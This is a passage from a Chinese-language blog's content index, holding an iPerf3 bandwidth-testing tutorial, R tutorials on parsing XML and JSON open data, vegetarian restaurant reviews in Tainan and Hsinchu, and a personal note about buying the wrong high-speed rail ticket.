zxvf iperf-3.1.3-source.tar.gz cd iperf-3.1.3/ ./configure sudo make install 接著將 /usr/local/lib 加入 LD_LIBRARY_PATH 之中：\nexport LD_LIBRARY_PATH=/usr/local/lib 再測試一下：\niperf3 若可以執行，就表示安裝成功了。\n測試網路頻寬 一般在使用 iPerf3 測試時，要同時在 server 端與 client 端都各執行一個 iPerf3 程式，讓它們互相傳送資料進行測試，首先啟動 server 端的 iperf3：\n# Server 端 iperf3 -s 接著在 client 端執行：\n# Client 端 iperf3 -c SERVER_IP 其中 SERVER_IP 要換成 server 的 IP 位址或是主機名稱，在測試時 server 端與 client 端都會出現測試的數據，以下是測試的結果。\n公用伺服器 如果自己手上沒有可用的伺服器，也可以使用公用的伺服器來測試，使用方式都相同：\n# 使用公用伺服器 iperf3 -c debit.k-net.fr 測試結果如下：\n不管在哪一種平台上，iPerf3 的使用方式都相同，這是在 Windows 命令提示自元中使用 iPerf3 的畫面。\nAndroid 與 iOS 手機上也有支援 iperf3 的 app 可以使用，可讓手機當成 client 或 server，用法也都相同。\niPerf3 進階指令 iPerf3 所提供的選項非常多，以下介紹一些常用的範例。\n測試時間 -t 參數可以指定傳輸測試的持續時間，而 -i 可以指定輸出數據的間隔時間：\n# 測試 20 秒，每隔 4 秒輸出測試數據 iperf3 -c SERVER_IP -t 20 -i 4 儲存測試結果 --logfile 參數可以將輸出的測試結果報表或是錯誤訊息儲存至檔案中：\n# 將輸出訊息儲存至 output.txt 檔案中 iperf3 -c SERVER_IP --logfile output.txt 指定連接埠 iPerf3 預設會使用的連接埠（port）是 5201，若要自行指定連接埠，可以使用 -p 參數：\n# 使用 12345 這個連接埠的 server iperf3 -s -p 12345 # 使用 12345 這個連接埠的 client iperf3 -c SERVER_IP -p 12345 JSON 格式輸出 若要使用程式讀取 iPerf3 的測試結果，可將輸出格式改為 JSON 會更方便。\n# 使用 JSON 格式輸出 iperf3 -c SERVER_IP -J 多條連線 -P 參數可以指定同時使用幾條連線進行測試：\n# 同時使用 2 條連線測試 iperf3 -c SERVER_IP -P 2 UDP 傳輸協定 若要測試 UDP 傳輸協定的效能，可以使用 -u 參數：\n# 使用 UDP 傳輸協定 iperf3 -c SERVER_IP -u 反向傳輸 iPerf3 預設會測試上傳的速度（由 client 傳送資料，而 server 負責接收）若要測試下載的速度（由 server 傳送資料，而 client 負責接收），則可以使用 -R 參數：\n# 測試反向傳輸（下載） iperf3 -c SERVER_IP -R IPv4 與 IPv6 -4 與 -6 可以指定只使用 IPv4 或 IPv6：\n# 只使用 IPv4 iperf3 -c SERVER_IP -4 # 只使用 IPv6 iperf3 -c SERVER_IP -6 自訂傳送檔案 我們可以使用 -f 自訂用來測試傳送的檔案：\n# 使用 YOUR_FILE 這個檔案來測試傳送速度 iperf3 -c SERVER_IP -F YOUR_FILE ","permalink":"https://blog.gtwang.org/useful-tools/iperf-network-bandwidth-testing-tool-tutorial/","summary":"\u003cp\u003e本篇介紹如何使用 iPerf3 這個網路速度測試工具，在各種作業系統與手機上檢測網路的頻寬。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://iperf.fr/\"\u003eiPerf3\u003c/a\u003e 是一個網路頻寬測試指令工具，支援 IPv4 與 IPv6 網路位址與 TCP、UDP、SCTP 傳輸協定，可在 Windows、Mac OS X、Linux、FreeBSD 與手機等各種平台使用，是一個簡單又實用的小工具。\u003c/p\u003e","title":"iPerf3 網路速度測試教學，頻寬檢測指令工具"},{"content":"佳里宏恩素食火鍋城是一家平價的素食店，有麵食類、飯類、臭豆腐、火鍋以及各式小菜、滷味等，料理美味且健康。\n宏恩素食火鍋城在台南地區有四家分店，分別位於麻豆、新化、佳里與安平，是由四位姊妹所開的。\n佳里宏恩素食已經遷移至台南市佳里區建南街86號，本篇文章為舊地址的介紹。\n佳里這家分店位於光復路與新生路的交叉口，綠色的招牌很明顯，通常吃飯時間門口都會有許多人潮。\n佳里這家宏恩素食平常生意都還不錯，尤其是禮拜天其他素食店都休息的時候，這裡的人潮就會特別多，有時候還會遇到一個人外帶好多份餐點的狀況（要拿箱子裝的），就要等比較久，我看大部分來這裡的常客都很習慣要稍微等一下。\n佳里宏恩素食店內的用餐環境非常舒服，環境整潔乾淨，撥放佛樂，在這裡用餐真的非常舒服。\n這是宏恩素食的菜單，有麵食、飯類、臭豆腐、火鍋、湯類等，若要滷味或小菜，可以從門口的櫥子裡夾取。\n這是臭豆腐拉麵，除了豆腐很大塊之外，還有很多青菜、金針菇等，料真的非常多，湯頭也很好喝。\n這是辣味的臭豆腐拉麵。\n這是麻醬麵，這裡的麵類除了好吃之外，另外一個特色就是青菜很多。\n這一碗是素排拉麵。\n這一碗是我最喜歡吃的韓式泡菜拉麵，微辣的韓式泡菜湯頭很好喝喔。\n這是韓式泡菜年糕，韓式的泡菜配上韓式的年糕，非常好吃。\n這一碗是砂鍋關廟麵，有很多素排、素丸子，適合喜歡吃素料的人。\n這一碗是鍋燒意麵，如果比較喜歡吃天然食物，不喜歡素料的人，就適合點這碗，他沒有什麼素料，都是健康的青菜、胡蘿蔔、金針菇、豆包等，料也是非常豐富。\n這裡的麵類都可以自己選麵條，這一碗就是鍋燒湯頭，配上關廟麵。\n這一個是竹筒飯。\n這個竹筒飯還滿好吃的，阿玄第一次吃的時候，一個人吃完一整碗。\n這一盤是清蒸臭豆腐，是很多人都會點的小菜之一。\n這是小火鍋系列的什錦火鍋，屬於單人份量的火鍋，如果人多的話，可以直接點正常份量的火鍋。\n它的料真的很多，不用我解釋應該就可以看的出來。\n這是羅漢飯，一碗白飯配上一大盤滷味。\n這個滷味很下飯。\n這裡的滷味與小菜是一大特色，種類很多，想吃什麼都有，這一張照片是我有一次在店內用餐，剛好遇到小菜從裡面的廚房推出來，順手拍下來的。\n這是我們自己夾的一些小菜。\n這裡也有傳統的大塊豆干，很好吃喔。\n這是單點的韓式泡菜。\n這一盤是素食的沙西米（生魚片）。\n這是小朋友最喜歡的現烤披薩。\n這一碗是素食酸菜羊肉湯，真的很好喝。\n這一碗是素肉飯。\n這裡的餐具可從餐具區自行取用，同時也有擺放善書。\n阿玄很喜歡來這裡用餐，這裡有好多樣餐點都是他喜歡吃的，首先是鍋燒意麵。\n竹筒飯阿玄也很喜歡吃。\n當然披薩依舊是阿玄最喜歡吃的。\n滷味、小菜阿玄也常常吃很多。\n","permalink":"https://blog.gtwang.org/life/hong-en-vegetarian-restaurant-chiali-tainan/","summary":"\u003cp\u003e佳里宏恩素食火鍋城是一家平價的素食店，有麵食類、飯類、臭豆腐、火鍋以及各式小菜、滷味等，料理美味且健康。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e宏恩素食火鍋城在台南地區有四家分店，分別位於麻豆、新化、佳里與安平，是由四位姊妹所開的。\u003c/p\u003e","title":"[台南佳里素食] 宏恩素食火鍋城（佳里店）"},{"content":"交大二餐的素食自助餐價位便宜，菜色豐富，用餐環境也非常舒服，是一家非常推薦的素食餐廳。\n我每次來新竹出差，中午都很喜歡來交大二餐的素食自助餐吃飯，這家素食的自助餐真不論是菜色、價位、用餐環境等條件，都非常優質。\n到了交通大學第二餐廳，在走上二樓之後，就可以看到有素食餐廳的指標，後方的綠色門就是素食自助餐的入口，第一次來可能不容易發現它。\n從綠色門進去之後，就是一整區獨立的素食用餐區，這裡的餐具（包含餐盤、碗筷）都是跟外面葷食區分開的，在裡面使用的餐具就要放在裡面素食專用的回收區，不可以拿到外面來，而外面葷食區的餐具也不可以放進素食區裡面，請大家用餐時要注意這一點。\n第二餐廳這裡葷素一起用餐也很方便，我時常跟同事一起來這邊吃飯，所有人裡面只有我吃素，我就在這邊夾完菜之後，端出去跟大家一起吃，吃完後再把餐具放回來。\n這裡的菜色真的非常豐富，除了正常的自助餐菜色之外，時常會有沙拉、壽司、水果等，不想吃飯的話，也可以有很多選擇。\n菜的價格是用重量來計算的，目前的價格是 100 公克 17 元，可能是因為開在校園內的關係，這個價格算是非常便宜的，而若要加飯的話，則加 10 元，它的飯有白飯與五穀飯可以選擇，價格一樣，最特別的是飯是自己盛的，要盛多少自己決定，男生食量大的人可以裝多一點，而清湯的話則是免費的。\n素食用餐區裡面的座位還不少，這一區都是素食專用的，通常不會有葷食的人在這裡吃。\n剛好我今天中午要開會，所以來這邊包個便當回去吃，平常我是比較喜歡在這裡坐著吃，可以慢慢喝湯，還可以看電視。\n店名：交通大學第二餐廳 素食自助餐\n地址：新竹市交通大學光復校區第二餐廳二樓\n由於我每次來這邊用餐都是因為工作出差，不方便背相機，而且時間也很趕，所以先用手機拍照，拍的不好看請多包涵。\n以下是 2018 年 5 月我又來這邊吃飯的時候，補拍的幾張照片。一如往常，菜色非常豐富。\n這是後方的盛飯、盛湯與餐具區。\n座位很多、寬敞舒適，還有電視可以看。\n這是我今天的午餐，因為天氣很熱，所以夾了一些沙拉與芒果。\n在這裡吃飯真的很舒服。\n","permalink":"https://blog.gtwang.org/life/nctu-second-restaurant-vegetarian-cafeteria-hsinchu-20170711/","summary":"\u003cp\u003e交大二餐的素食自助餐價位便宜，菜色豐富，用餐環境也非常舒服，是一家非常推薦的素食餐廳。\u003c/p\u003e\n\u003cp\u003e我每次來新竹出差，中午都很喜歡來交大二餐的素食自助餐吃飯，這家素食的自助餐真不論是菜色、價位、用餐環境等條件，都非常優質。\u003c/p\u003e","title":"[新竹素食] 交通大學第二餐廳二樓素食自助餐"},{"content":"本篇記錄我今天買錯高鐵票，又搭錯車的紀錄。\n今天原本要從台南搭高鐵去新竹，事前用高鐵的手機 app 訂票時，因為之前都常跑台北，太習慣訂台北的票了，所以不小心訂錯票自己也沒發現，如果在搭乘前發現問題，可以直接去換票，不過我到高鐵站取票時也沒認真看手上的車票，就直接上車了。\n我訂票時習慣都會訂行車時間比較短的車次，也就是中間停靠站比較少的，結果上車之後看到跑馬燈怎麼怪怪的，竟然沒寫新竹站，看了手上的票才發現，我不但買錯票，還搭錯車，這班車不會停靠新竹站！\n我看跑馬燈顯示接下來只會停嘉義與台中站，之後就直接到台北了，由於台中站比較大，車班比較多，所以我選擇在台中站換車。\n在台中下車之後，運氣很好，剛好等個六分鐘就有一班會停靠新竹的車次。\n當然對號座的車票換車之後，就只能坐自由座了，不過通常自由座也都會有位子可以坐。\n剛好這班車的自由座車廂特別多，隨便找都有位子。\n就這樣很順地的從台中換車之後，坐到新竹站下車，因為車班接的剛剛好，所以沒有耽誤到時間。\n接下來就是出站的問題，原本想說應該要找站務人員處理，不過我到站時人潮非常多，站務人員正在處理其他人的問題，我就乾脆直接按照正常的方式把票送進閘門看看，結果還真的可以正常出站，沒有任何問題。\n所以看起來高鐵提早出站，閘門也都會正常打開，不過依照台灣高鐵的規定，未達迄站而中途下車者，未搭乘的區間票價是不能退的，所以今天損失了 290 元。\n","permalink":"https://blog.gtwang.org/life/thsr-buy-wrong-ticket-take-wrong-train-20170711/","summary":"\u003cp\u003e本篇記錄我今天買錯高鐵票，又搭錯車的紀錄。\u003c/p\u003e\n\u003cp\u003e今天原本要從台南搭高鐵去新竹，事前用\u003ca href=\"/life/thsr-t-express-mobile-ticket-tutorial/\"\u003e高鐵的手機 app 訂票\u003c/a\u003e時，因為之前都常跑台北，太習慣訂台北的票了，所以不小心訂錯票自己也沒發現，如果在搭乘前發現問題，可以直接去換票，不過我到高鐵站取票時也沒認真看手上的車票，就直接上車了。\u003c/p\u003e","title":"台灣高鐵買錯票、搭錯車紀錄，提早下車改搭自由座"},{"content":"這裡介紹如何在 R 中讀取與產生 XML 格式的資料，並提供許多實際的參考範例。\nXML 是一種很普遍的資料格式，在 R 中若要讀取 XML 檔案，或是產生 XML 檔案，可以使用 XML 或是 xml2 這類的套件，以下是讀取與產生 XML 檔案的教學與範例。\n本文所使用的 XML 資料來源已經不存在，因此對應之程式碼無法直接執行。\n安裝 XML 套件 使用 install.packages 安裝 XML 套件：\ninstall.packages(\u0026#34;XML\u0026#34;) 安裝完之後，即可載入使用：\nlibrary(XML) 讀取 XML 檔 我們以政府資料開放平台的空氣品質即時污染指標的資料作為範例，首先從網頁中查詢 XML 檔案的網址，順便用瀏覽器看一下 XML 檔案的結構。\n接著使用 XML 套件的 xmlParse 函數下載並解析這個 XML 檔案：\n# XML 檔案網址 url \u0026lt;- \u0026#34;http://opendata2.epa.gov.tw/AQX.xml\u0026#34; # 下載並解析 XML 檔案 xml.doc \u0026lt;- xmlParse(url) 解析 XML 檔案之後，就可以查閱裡面的內容：\n# 取出 XML 的根節點 xml.top \u0026lt;- xmlRoot(xml.doc) # 查看節點名稱 xmlName(xml.top) [1] \"AQX\" # 查看子節點數量 xmlSize(xml.top) [1] 76 列出第一筆資料的所有子節點名稱：\n# 查看子結點 names(xml.top[[1]]) CO County FPMI MajorPollutant NO \"CO\" \"County\" \"FPMI\" \"MajorPollutant\" \"NO\" NO2 NOx O3 PM10 PM2.5 \"NO2\" \"NOx\" \"O3\" \"PM10\" \"PM2.5\" PSI PublishTime SiteName SO2 Status \"PSI\" \"PublishTime\" \"SiteName\" \"SO2\" \"Status\" WindDirec WindSpeed \"WindDirec\" \"WindSpeed\" 若要取出資料，可以依照節點的名稱來處理：\n# 依照名稱取出節點 (xml.leaf \u0026lt;- xml.top[[1]][[\u0026#34;PSI\u0026#34;]]) \u0026lt;PSI\u0026gt;19\u0026lt;/PSI\u0026gt; 取出實際的資料：\n# 取出節點內的資料 (xml.leaf.value \u0026lt;- xmlValue(xml.leaf)) [1] \"19\" 不同的 XML 資料，其內部結構與節點的名稱也會不同，請依照自己的 XML 結構來更改指令。\nXML 轉為 Data Frame xmlToDataFrame 可將 XML 資料整個轉換為 data frame：\nxml.df \u0026lt;- xmlToDataFrame(xml.top) head(xml.df) CO County FPMI MajorPollutant NO NO2 NOx O3 PM10 PM2.5 PSI PublishTime SiteName SO2 Status WindDirec WindSpeed 1 0.48 新北市 2 21.36 17 38.37 3.1 27 17 19 2017-07-07 07:00 汐止 2 良好 33 1.3 2 0.23 新北市 2 3.48 10 13.71 9.1 19 9 20 2017-07-07 07:00 萬里 2.3 良好 204 2.7 3 0.25 新北市 1 9.02 9.2 18.19 6.1 20 6 22 2017-07-07 07:00 新店 1.6 良好 162 1.8 4 0.57 新北市 1 40.57 15 55.51 2.4 48 13 40 2017-07-07 07:00 土城 10 良好 142 0.8 5 0.61 新北市 1 23.78 20 43.38 1.6 32 8 30 2017-07-07 07:00 板橋 7.6 良好 256 1.8 6 0.5 新北市 2 12.4 19 31.13 2.2 38 10 35 2017-07-07 07:00 新莊 5.4 良好 176 0.6 xml.df$PSI 的資料型態應該是數值，但是讀取進來之後變成了因子（factor）：\nstr(xml.df$PSI) 若要把因子轉為數值的變數，可用：\n# 從因子轉為數值資料 xml.df$PSI \u0026lt;- as.numeric(levels(xml.df$PSI))[as.integer(xml.df$PSI)] 轉換之後，就變成數值的資料：\nstr(xml.df$PSI) num [1:76] 19 20 22 40 30 35 24 20 26 30 ... 這樣就可以把資料做進一步處理，例如畫出直方圖：\nhist(xml.df$PSI) XML 轉為列表 xmlToList 可將 XML 節點轉換為列表變數（list）：\nnode.list \u0026lt;- xmlToList(xml.top[[1]]) str(node.list) List of 17 $ CO : chr \"0.48\" $ County : chr \"新北市\" $ FPMI : chr \"2\" $ MajorPollutant: NULL $ NO : chr \"21.36\" $ NO2 : chr \"17\" $ NOx : chr \"38.37\" $ O3 : chr \"3.1\" $ PM10 : chr \"27\" $ PM2.5 : chr \"17\" $ PSI : chr \"19\" $ PublishTime : chr \"2017-07-07 07:00\" $ SiteName : chr \"汐止\" $ SO2 : chr \"2\" $ Status : chr \"良好\" $ WindDirec : chr \"33\" $ WindSpeed : chr \"1.3\" xmlSApply 可以對 XML 的每個子節點進行迭代：\n(all.nodes \u0026lt;- xmlSApply(xml.top[[1]], xmlValue)) CO County FPMI MajorPollutant NO NO2 \"0.48\" \"新北市\" \"2\" \"\" \"21.36\" \"17\" NOx O3 PM10 PM2.5 PSI PublishTime \"38.37\" \"3.1\" \"27\" \"17\" \"19\" \"2017-07-07 07:00\" SiteName SO2 Status WindDirec WindSpeed \"汐止\" \"2\" \"良好\" \"33\" \"1.3\" XPath 語法 XML 套件也可以使用 XPath 語法來取出指定的節點，以下是幾個比較點單的 XPath 語法。\nXPath 語法 說明 /node 頂層 XML 節點。 //node 任意 XML 節點。 node[@attr-name] 含有 attr-name 屬性的 XML 節點 node[@attr-name='bob'] 含有 attr-name 屬性且其屬性值為 bob 的 XML 節點。 以下是使用 XPath 取出所有 PSI 資料，並繪製直方圖的範例：\n# 以 XPath 取出指定的 XML 節點 psi.set \u0026lt;- getNodeSet(xml.top, \u0026#34;//Data/PSI\u0026#34;) # 取出節點內的資料 psi.set.text \u0026lt;- lapply(psi.set, function(x) xmlSApply(x, xmlValue)) # 將文字轉為數值 psi.set.num \u0026lt;- as.numeric(psi.set.text) # 繪出直方圖 hist(psi.set.num) 這樣就會畫出 PSI 資料的直方圖。\n產生 XML 檔 若要將 R 中的資料匯出成 XML 檔案，可以使用 xmlOutputDOM 函數，其所建立的 XMLOutputDOM 物件可以用來建立 XML 結構的資料。\ncon \u0026lt;- xmlOutputDOM() con$addTag(\u0026#34;author\u0026#34;, \u0026#34;Duncan Temple Lang\u0026#34;) con$addTag(\u0026#34;address\u0026#34;, close=FALSE) # 開啟 address 節點 con$addTag(\u0026#34;office\u0026#34;, \u0026#34;2C-259\u0026#34;) con$addTag(\u0026#34;street\u0026#34;, \u0026#34;Mountain Avenue.\u0026#34;) con$addTag(\u0026#34;phone\u0026#34;, close = FALSE) # 開啟 phone 節點 con$addTag(\u0026#34;area\u0026#34;, \u0026#34;908\u0026#34;, attrs=c(state=\u0026#34;NJ\u0026#34;)) con$addTag(\u0026#34;number\u0026#34;, \u0026#34;582-3217\u0026#34;) con$closeTag() # 關閉 phone con$closeTag() # 關閉 address 建立好之後，再使用 XMLOutputDOM 物件的 value 函數輸出 XML 格式的資料：\ncon$value() \u0026lt;doc\u0026gt; \u0026lt;author\u0026gt;Duncan Temple Lang\u0026lt;/author\u0026gt; \u0026lt;address\u0026gt; \u0026lt;office\u0026gt;2C-259\u0026lt;/office\u0026gt; \u0026lt;street\u0026gt;Mountain Avenue.\u0026lt;/street\u0026gt; \u0026lt;phone\u0026gt; \u0026lt;area state=\"NJ\"\u0026gt;908\u0026lt;/area\u0026gt; \u0026lt;number\u0026gt;582-3217\u0026lt;/number\u0026gt; \u0026lt;/phone\u0026gt; \u0026lt;/address\u0026gt; \u0026lt;/doc\u0026gt; 若要輸出不含空白與換行的 XML 格式資料，可以使用：\nprint(con$value(), indent = FALSE, tagSeparator = \u0026#34;\u0026#34;) \u0026lt;doc\u0026gt;\u0026lt;author\u0026gt;Duncan Temple Lang\u0026lt;/author\u0026gt;\u0026lt;address\u0026gt;\u0026lt;office\u0026gt;2C-259\u0026lt;/office\u0026gt;\u0026lt;street\u0026gt;Mountain Avenue.\u0026lt;/street\u0026gt;\u0026lt;phone\u0026gt;\u0026lt;area state=\"NJ\"\u0026gt;908\u0026lt;/area\u0026gt;\u0026lt;number\u0026gt;582-3217\u0026lt;/number\u0026gt;\u0026lt;/phone\u0026gt;\u0026lt;/address\u0026gt;\u0026lt;/doc\u0026gt; ","permalink":"https://blog.gtwang.org/r/r-xml-package-parsing-and-generating-xml-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 R 中讀取與產生 XML 格式的資料，並提供許多實際的參考範例。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://zh.wikipedia.org/zh-tw/XML\"\u003eXML\u003c/a\u003e 是一種很普遍的資料格式，在 R 中若要讀取 XML 檔案，或是產生 XML 檔案，可以使用 \u003ccode\u003eXML\u003c/code\u003e 或是 \u003ccode\u003exml2\u003c/code\u003e 這類的套件，以下是讀取與產生 XML 檔案的教學與範例。\u003c/p\u003e","title":"R 讀取與產生 XML 格式檔案教學"},{"content":"jsonlite 是 R 的一個 JSON 格式資料處理套件，本篇介紹此套件的基本用法，並提供實際應用的範例。\nJSON（JavaScript Object Notation）是一種輕量級的資料交換格式，屬於 JavaScript 語言的子集，實作上相當容易，在網路上許多資料都會使用 JSON 的格式來傳遞。\njsonlite 套件 在 R 中若要讀取或是產生 JSON 格式的資料，可以使用 jsonlite 這個 R 的套件，此套件屬於 R 官方收錄的套件之一，可用 install.packages 直接安裝：\ninstall.packages(\u0026#34;jsonlite\u0026#34;) 安裝完成後，載入套件：\nlibrary(jsonlite) JSON 與 R 物件轉換 jsonlite 套件是專門為了網路資料傳遞所設計的 JSON 解析器與產生器，其提供了 R 物件與 JSON 資料格式之間雙向轉換的功能，而且在轉換之後，可以保留 R 物件完整的資料與屬性。\n# 將 mtcars 這個 data frame 轉為 JSON 資料格式 my.json \u0026lt;- toJSON(mtcars) # 將 JSON 資料格式轉為 data frame my.df \u0026lt;- fromJSON(my.json) # 檢查轉換後的資料是否一致 all.equal(mtcars, my.df) [1] TRUE 下表是各種 R 物件與 JSON 結構之謙的對應關係：\nJSON 格式 範例 對應的 R 物件 FROMJSON 參數 陣列 [\u0026quot;Amsterdam\u0026quot;, \u0026quot;Rotterdam\u0026quot;, \u0026quot;Utrecht\u0026quot;, \u0026quot;Den Haag\u0026quot;] 向量 simplifyVector 物件陣列 [{\u0026quot;name\u0026quot;:\u0026quot;Erik\u0026quot;, \u0026quot;age\u0026quot;:43}, {\u0026quot;name\u0026quot;:\u0026quot;Anna\u0026quot;, \u0026quot;age\u0026quot;:32}] Data Frame simplifyDataFrame 二維陣列 [ [1, 2, 3], [4, 5, 6] ] 矩陣 simplifyMatrix 向量 在預設的情況下，fromJSON 會將包含基本資料類型（字串、數值、布林值或 null）的 JSON 陣列，轉換為 R 的向量：\njson \u0026lt;- \u0026#39;[\u0026#34;Mario\u0026#34;, \u0026#34;Peach\u0026#34;, null, \u0026#34;Bowser\u0026#34;]\u0026#39; fromJSON(json) [1] \"Mario\" \"Peach\" NA \"Bowser\" 如果將 simplifyVector 設定為 FALSE，則 fromJSON 就會維持最原始的 JSON 資料結構，也就是把資料轉為 R 的列表變數（list）：\nfromJSON(json, simplifyVector = FALSE) [[1]] [1] \"Mario\" [[2]] [1] \"Peach\" [[3]] NULL [[4]] [1] \"Bowser\" Data Frame 當 fromJSON 遇到含有多個物件的 JSON 資料時，預設會將其轉換為 R 的 data frame，例如：\njson \u0026lt;- \u0026#39;[ {\u0026#34;Name\u0026#34; : \u0026#34;Mario\u0026#34;, \u0026#34;Age\u0026#34; : 32, \u0026#34;Occupation\u0026#34; : \u0026#34;Plumber\u0026#34;}, {\u0026#34;Name\u0026#34; : \u0026#34;Peach\u0026#34;, \u0026#34;Age\u0026#34; : 21, \u0026#34;Occupation\u0026#34; : \u0026#34;Princess\u0026#34;}, {}, {\u0026#34;Name\u0026#34; : \u0026#34;Bowser\u0026#34;, \u0026#34;Occupation\u0026#34; : \u0026#34;Koopa\u0026#34;} ]\u0026#39; (my.df \u0026lt;- fromJSON(json)) Name Age Occupation 1 Mario 32 Plumber 2 Peach 21 Princess 3 \u0026lt;NA\u0026gt; NA \u0026lt;NA\u0026gt; 4 Bowser NA Koopa 我們可以將轉換出來的 data frame 任意修改後，再透過 toJSON 函數轉換回 JSON 格式，例如在這個 data frame 中多加上一欄 Ranking 的資料：\nmy.df$Ranking \u0026lt;- c(3, 1, 2, 4) 然後再轉為 JSON：\ntoJSON(my.df, pretty = TRUE) [ { \"Name\": \"Mario\", \"Age\": 32, \"Occupation\": \"Plumber\", \"Ranking\": 3 }, { \"Name\": \"Peach\", \"Age\": 21, \"Occupation\": \"Princess\", \"Ranking\": 1 }, { \"Ranking\": 2 }, { \"Name\": \"Bowser\", \"Occupation\": \"Koopa\", \"Ranking\": 4 } ] 矩陣與陣列 fromJSON 遇到包含二維陣列的 JSON 資料時，預設會轉換為 R 的矩陣：\njson \u0026lt;- \u0026#39;[ [1, 2, 3, 4], [5, 6, 7, 8], [9, 10, 11, 12] ]\u0026#39; (my.matrix \u0026lt;- fromJSON(json)) [,1] [,2] [,3] [,4] [1,] 1 2 3 4 [2,] 5 6 7 8 [3,] 9 10 11 12 同樣地我們可以使用 toJSON 將 R 矩陣轉為 JSON：\ntoJSON(my.matrix, pretty = TRUE) [ [1, 2, 3, 4], [5, 6, 7, 8], [9, 10, 11, 12] ] 高維度的 JSON 陣列也是以類似的方式轉換為 R 的陣列：\njson \u0026lt;- \u0026#39;[ [[1, 2], [3, 4]], [[5, 6], [7, 8]], [[9, 10], [11, 12]] ]\u0026#39; my.array \u0026lt;- fromJSON(json) my.array[1, , ] [,1] [,2] [1,] 1 2 [2,] 3 4 實際範例 網路上有非常多的開放性資料都是以 JSON 格式提供下載的，其實不管是什麼類型的資料，使用 jsonlite 來下載的方法都完全相同，只要將 JSON 網址複製下來，再透過 fromJSON 抓下來即可，而後續的處理與分析就要看資料的內容而定了。\n以下是幾個從 R 中使用 jsonlite 套件直接下載網路 JSON 資料的範例。\n政府資料開放平台 政府資料開放平台上面有許多可以直接下載的資料，支援 JSON 格式下載的資料非常多，我們拿紫外線即時監測資料來做示範。\n首先從政府資料開放平台的網頁中，查詢 JSON 資料的下載網址，把網址複製下來：\n# 紫外線即時監測 JSON 資料網址 url \u0026lt;- \u0026#34;http://opendata.epa.gov.tw/ws/Data/UV/?format=json\u0026#34; 使用 fromJSON 直接下載 JSON 檔：\n# 使用 jsonlite 下載 JSON 資料 my.data \u0026lt;- fromJSON(url) 這樣抓下來之後，就可以直接在 R 中使用了：\n# 查看資料 head(my.data) SiteName UVI PublishAgency County WGS84Lon WGS84Lat PublishTime 1 花蓮 10.81 中央氣象局 花蓮縣 121,36,48 23,58,30 2017-07-06 14:00 2 馬祖 8.84 中央氣象局 連江縣 119,55,24 26,10,09 2017-07-06 14:00 3 高雄 5.88 中央氣象局 高雄市 120,18,57 22,33,58 2017-07-06 14:00 4 玉山 7.94 中央氣象局 南投縣 120,57,34 23,29,15 2017-07-06 14:00 5 臺南 8.81 中央氣象局 臺南市 120,12,17 22,59,36 2017-07-06 14:00 6 新竹 8.50 中央氣象局 新竹縣 121,00,51 24,49,40 2017-07-06 14:00 內政資料開放平臺 內政資料開放平臺的各縣市統計區人口統計資料包含台灣各地區的人口統計數據，包含戶數、人口數、男性人口數、女性人口數等。\n# 新竹縣統計區人口統計 JSON 網址 url \u0026lt;- \u0026#34;http://data.moi.gov.tw/MoiOD/System/DownloadFile.aspx?DATA=62571BAA-CA7C-448E-80D5-40C1303B9C3B\u0026#34; # 使用 jsonlite 下載 JSON 資料 my.data \u0026lt;- fromJSON(url) # 查看資料 head(my.data) $Info InMetaDatCode InSTUnitCode InCountyId OutTotal 1 3A1FA_A1C2 U0202 10004 184 $ColumnList COLUMN_NAME DATA_TYPE COLUMN_DESC DISPLAY_UNIT 1 INFO_TIME 文字 資料時間 \u0026lt;NA\u0026gt; 2 CODE2 文字 二級發布區代碼 3 H_CNT 數值 戶數 戶 4 P_CNT 數值 人口數 人 5 M_CNT 數值 男性人口數 人 6 F_CNT 數值 女性人口數 人 $RowDataList PRODUCT_ID INFO_TIME CODE2 H_CNT P_CNT M_CNT F_CNT 1 99440 105Y12M A0405-05 985 2951 1409 1542 2 99440 105Y12M A0405-06 1 1 0 1 3 99440 105Y12M A0405-07 1121 3080 1576 1504 4 99440 105Y12M A0405-08 862 2720 1354 1366 5 99440 105Y12M A0405-09 956 3084 1521 1563 6 99440 105Y12M A0405-10 871 2741 1387 1354 [略] 行政院環境保護署 環境資源資料開放平台 這是行政院環境保護署環境資源資料開放平台的大甲媽祖遶境即時空品監測成果 JSON 資料下載範例。\n# 大甲媽祖遶境即時空品監測成果 JSON 網址 url \u0026lt;- \u0026#34;http://opendata.epa.gov.tw/ws/Data/ATM00544/?$skip=0\u0026amp;$top=1000\u0026amp;format=json\u0026#34; # 使用 jsonlite 下載 JSON 資料 my.data \u0026lt;- fromJSON(url) # 查看資料 head(my.data) MachineKey temp humi pm25 pm25Level lat lng gps_time 1 TP02 26 86 45 5 24.3491473 120.6170552 2016/4/17 下午 08:12:00 2 TP02 26 86 45 5 24.3491471 120.6170549 2016/4/17 下午 08:12:00 3 TP02 25 83 49 6 24.3491415 120.6170257 2016/4/17 下午 08:10:00 4 TP02 25 79 30 3 24.3491893 120.6170386 2016/4/17 下午 08:09:00 5 TP02 26 95 32 3 24.349189 120.6170382 2016/4/17 下午 08:08:00 6 TP03 25 91 59 8 24.3491511 120.6170786 2016/4/17 下午 08:08:00 ","permalink":"https://blog.gtwang.org/r/jsonlite-json-format-parser-generator-tutorial/","summary":"\u003cp\u003ejsonlite 是 R 的一個 JSON 格式資料處理套件，本篇介紹此套件的基本用法，並提供實際應用的範例。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://zh.wikipedia.org/wiki/JSON\"\u003eJSON（JavaScript Object Notation）\u003c/a\u003e是一種輕量級的資料交換格式，屬於 JavaScript 語言的子集，實作上相當容易，在網路上許多資料都會使用 JSON 的格式來傳遞。\u003c/p\u003e","title":"jsonlite：R 的 JSON 格式資料處理套件"},{"content":"美國的 Edible Haven 有機椰子油品質非常好，價格也便宜，推薦給大家參考。\n最近買了幾罐美國的 Edible Haven 冷壓初榨有機椰子油，其通過美國國家農業部（USDA）有機認證，以及台灣的 SGS 